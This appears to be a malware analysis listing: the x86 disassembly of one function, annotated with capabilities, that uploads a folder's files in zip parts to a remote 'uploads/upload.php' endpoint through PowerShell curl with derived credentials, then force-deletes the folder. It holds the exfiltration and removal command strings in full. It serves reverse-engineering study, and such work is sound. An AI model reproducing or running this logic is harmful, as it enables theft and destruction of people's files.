Function at 0x401c70
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x758
call sym._check_curl
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401c93
mov dword [esp], str.__Curl_installed
call sym._puts
mov dword [esp + 4], 0x42248d
mov dword [esp], str.microsoft.com
call sym._get_http_headers
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x4a], 0x6f6d6962
mov dword [ebp - 0x46], 0x6c68746e
mov word [ebp - 0x42], 0x79
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4a]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], str.SERVER_IP:__s_n
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x4224ac
call sym._run_keygen
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._base64_encode
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], 0
jmp 0x401d41
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x68]
mov edx, dword [ebp - 0xc]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 6
jbe 0x401d28
mov byte [ebp - 0x61], 0
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._SHA256
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], 0
jmp 0x401d7e
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x86]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 6
jbe 0x401d62
mov byte [ebp - 0x7f], 0
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._free
mov dword [esp], 0x442260
call sym._get_files_in_folder
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x401dc9
mov dword [esp], str.File_count_failed
call sym._puts
mov eax, 1
jmp 0x401f56
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_scurl.exe
lea eax, [ebp - 0x14e]
mov dword [esp], eax
call sym._sprintf
call sym._get_uid
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x14], 1
jmp 0x401ee1
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x442260
mov dword [esp + 4], str._s_s.zip.part_d
lea eax, [ebp - 0x5fe]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.zip.part_d
lea eax, [ebp - 0x40a]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x5fe]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x86]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x68]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_curl.exe__u__s:_s__F__file__s__https:___s_uploads_upload.php____null
lea eax, [ebp - 0x72a]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x72a]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x401eb0
mov dword [esp], str.__Upload_SUCCESS
call sym._puts
jmp 0x401ed1
mov dword [esp], str.__File_uploaded_FAIL
call sym._puts
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x401f56
mov dword [esp], 0xa
call dbg.sleep
add dword [ebp - 0x14], 1
mov eax, dword [0x442528]
cmp eax, dword [ebp - 0x14]
jae 0x401e03
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov dword [esp + 8], 0x442260
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath__s__Force__Recurse
lea eax, [ebp - 0x216]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x216]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x401f51
mov dword [esp], str.__Removal_failed
call sym._puts
mov eax, 0
leave
ret